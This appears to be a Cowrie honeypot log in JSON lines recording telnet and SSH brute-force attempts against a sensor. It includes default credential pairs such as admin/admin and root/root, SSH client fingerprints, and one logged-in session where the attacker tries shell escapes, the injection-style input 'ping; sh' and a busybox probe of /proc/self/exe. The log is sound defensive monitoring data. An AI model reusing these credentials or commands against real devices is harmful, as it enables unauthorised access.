{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":46412,"dst_ip":"10.17.0.5","dst_port":23,"session":"79d4d8d33576","protocol":"telnet","message":"New connection: 45.63.78.87:46412 (10.17.0.5:23) [session: 79d4d8d33576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:22.285903Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":46422,"dst_ip":"10.17.0.5","dst_port":23,"session":"91e3c073c07b","protocol":"telnet","message":"New connection: 45.63.78.87:46422 (10.17.0.5:23) [session: 91e3c073c07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:22.417610Z"}
{"eventid":"cowrie.session.closed","duration":31.269015550613403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:24.324616Z","src_ip":"45.63.78.87","session":"1ef5d3204649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.383657693862915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:41.605549Z","src_ip":"45.63.78.87","session":"0fdc1d7c44d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.172868013381958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:45.329976Z","src_ip":"45.63.78.87","session":"17b950a73ca9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.742501735687256,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:45.504950Z","src_ip":"135.148.33.91","session":"da2ed8c83a52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14828133583069,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:45.883483Z","src_ip":"45.63.78.87","session":"8414b360c04c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.33.12.13","src_port":32814,"dst_ip":"10.17.0.5","dst_port":23,"session":"22209822d023","protocol":"telnet","message":"New connection: 114.33.12.13:32814 (10.17.0.5:23) [session: 22209822d023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:51.818258Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:52.724637Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:52.776346Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:53.008478Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"shell","message":"CMD: shell","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:53.013302Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"shell ","message":"Command not found: shell ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:53.017416Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"enable","message":"CMD: enable","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:53.021111Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"system","message":"CMD: system","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:53.027747Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"system ","message":"Command not found: system ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:53.032403Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"ping; sh","message":"CMD: ping; sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:53.049579Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:53.055878Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox cat /proc/self/exe || cat /proc/self/exe","message":"CMD: /bin/busybox cat /proc/self/exe || cat /proc/self/exe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:53.215373Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.command.success","input":"cat /proc/self/exe","message":"Command found: cat /proc/self/exe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:53.219405Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19369626045227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:53.479465Z","src_ip":"45.63.78.87","session":"79d4d8d33576","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27295422554016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:53.690437Z","src_ip":"45.63.78.87","session":"91e3c073c07b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":54988,"dst_ip":"10.17.0.5","dst_port":23,"session":"3caff1238ce7","protocol":"telnet","message":"New connection: 45.63.78.87:54988 (10.17.0.5:23) [session: 3caff1238ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:56.422034Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.96","src_port":55521,"dst_ip":"159.203.135.109","dst_port":22,"session":"f75d9aaeaa8c","protocol":"ssh","message":"New connection: 198.235.24.96:55521 (159.203.135.109:22) [session: f75d9aaeaa8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:57.179143Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:28:57.564605Z","src_ip":"198.235.24.96","session":"f75d9aaeaa8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":57750,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ce40f66762e","protocol":"telnet","message":"New connection: 45.63.78.87:57750 (10.17.0.5:23) [session: 6ce40f66762e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:07.443129Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":58084,"dst_ip":"10.17.0.5","dst_port":23,"session":"b490c2c83ff3","protocol":"telnet","message":"New connection: 45.63.78.87:58084 (10.17.0.5:23) [session: b490c2c83ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:07.759112Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":58354,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f833f9df778","protocol":"telnet","message":"New connection: 45.63.78.87:58354 (10.17.0.5:23) [session: 0f833f9df778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:08.785872Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":60489,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef9149fb6709","protocol":"ssh","message":"New connection: 185.9.193.111:60489 (159.203.135.109:22) [session: ef9149fb6709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:09.147315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:09.156599Z","src_ip":"185.9.193.111","session":"ef9149fb6709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:09.708190Z","src_ip":"185.9.193.111","session":"ef9149fb6709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fileuser","password":"fileuser","message":"login attempt [fileuser/fileuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:12.564569Z","src_ip":"185.9.193.111","session":"ef9149fb6709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:14.470257Z","src_ip":"185.9.193.111","session":"ef9149fb6709","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225","size":1774,"shasum":"8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225","duplicate":true,"duration":"26.5","message":"Closing TTY Log: var/lib/cowrie/tty/8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225 after 26.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:19.271132Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.46433186531067,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:19.282486Z","src_ip":"114.33.12.13","session":"22209822d023","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.33.12.13","src_port":33118,"dst_ip":"10.17.0.5","dst_port":23,"session":"d37ecf6cff3a","protocol":"telnet","message":"New connection: 114.33.12.13:33118 (10.17.0.5:23) [session: d37ecf6cff3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:19.486085Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:20.386839Z","src_ip":"114.33.12.13","session":"d37ecf6cff3a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"tsgoingon","message":"login attempt [root/tsgoingon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:21.314841Z","src_ip":"114.33.12.13","session":"d37ecf6cff3a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zsun1188","message":"login attempt [admin/zsun1188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:22.260301Z","src_ip":"114.33.12.13","session":"d37ecf6cff3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.224360227584839,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:22.710314Z","src_ip":"114.33.12.13","session":"d37ecf6cff3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":34376,"dst_ip":"10.17.0.5","dst_port":23,"session":"33ae8d7ac400","protocol":"telnet","message":"New connection: 45.63.78.87:34376 (10.17.0.5:23) [session: 33ae8d7ac400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:25.676485Z"}
{"eventid":"cowrie.session.closed","duration":30.995818614959717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:27.417662Z","src_ip":"45.63.78.87","session":"3caff1238ce7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":34628,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9a2eea2d241","protocol":"telnet","message":"New connection: 45.63.78.87:34628 (10.17.0.5:23) [session: a9a2eea2d241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:28.267384Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":34826,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f52b1a851c","protocol":"telnet","message":"New connection: 45.63.78.87:34826 (10.17.0.5:23) [session: c0f52b1a851c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:28.569587Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":35094,"dst_ip":"10.17.0.5","dst_port":23,"session":"5020fa9a43af","protocol":"telnet","message":"New connection: 45.63.78.87:35094 (10.17.0.5:23) [session: 5020fa9a43af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:29.231798Z"}
{"eventid":"cowrie.session.closed","duration":30.381636142730713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:38.140580Z","src_ip":"45.63.78.87","session":"b490c2c83ff3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.574923992156982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:39.017925Z","src_ip":"45.63.78.87","session":"6ce40f66762e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.911259412765503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:40.697008Z","src_ip":"45.63.78.87","session":"0f833f9df778","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":39378,"dst_ip":"10.17.0.5","dst_port":23,"session":"3237053a73af","protocol":"telnet","message":"New connection: 45.63.78.87:39378 (10.17.0.5:23) [session: 3237053a73af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:48.442410Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":39448,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8f158a75137","protocol":"telnet","message":"New connection: 45.63.78.87:39448 (10.17.0.5:23) [session: b8f158a75137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:48.639498Z"}
{"eventid":"cowrie.session.closed","duration":30.68667960166931,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:56.363041Z","src_ip":"45.63.78.87","session":"33ae8d7ac400","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50083827972412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:59.070130Z","src_ip":"45.63.78.87","session":"c0f52b1a851c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.582502365112305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:29:59.849789Z","src_ip":"45.63.78.87","session":"a9a2eea2d241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37402081489563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:00.605713Z","src_ip":"45.63.78.87","session":"5020fa9a43af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.8.166.68","src_port":49384,"dst_ip":"159.203.135.109","dst_port":23,"session":"673911d52953","protocol":"telnet","message":"New connection: 190.8.166.68:49384 (159.203.135.109:23) [session: 673911d52953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:04.615783Z"}
{"eventid":"cowrie.session.closed","duration":13.052506685256958,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:17.668194Z","src_ip":"190.8.166.68","session":"673911d52953","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44820809364319,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:19.087591Z","src_ip":"45.63.78.87","session":"b8f158a75137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3956732749939,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:20.837979Z","src_ip":"45.63.78.87","session":"3237053a73af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":49636,"dst_ip":"10.17.0.5","dst_port":22,"session":"09c968726e12","protocol":"ssh","message":"New connection: 187.212.47.18:49636 (10.17.0.5:22) [session: 09c968726e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:20.902515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:20.910995Z","src_ip":"187.212.47.18","session":"09c968726e12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:21.159769Z","src_ip":"187.212.47.18","session":"09c968726e12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminadmin1234","message":"login attempt [root/adminadmin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:21.499241Z","src_ip":"187.212.47.18","session":"09c968726e12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:22.579168Z","src_ip":"187.212.47.18","session":"09c968726e12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":48102,"dst_ip":"10.17.0.5","dst_port":23,"session":"0503ccedb976","protocol":"telnet","message":"New connection: 45.63.78.87:48102 (10.17.0.5:23) [session: 0503ccedb976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:24.875743Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":50252,"dst_ip":"10.17.0.5","dst_port":23,"session":"91581db77c15","protocol":"telnet","message":"New connection: 45.63.78.87:50252 (10.17.0.5:23) [session: 91581db77c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:32.695766Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":48179,"dst_ip":"159.203.135.109","dst_port":22,"session":"328967bc5ef9","protocol":"ssh","message":"New connection: 185.9.193.111:48179 (159.203.135.109:22) [session: 328967bc5ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:34.267603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:34.275446Z","src_ip":"185.9.193.111","session":"328967bc5ef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:34.651573Z","src_ip":"185.9.193.111","session":"328967bc5ef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwertyui","message":"login attempt [admin/qwertyui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:35.523942Z","src_ip":"185.9.193.111","session":"328967bc5ef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:30:37.396667Z","src_ip":"185.9.193.111","session":"328967bc5ef9","protocol":"ssh"}
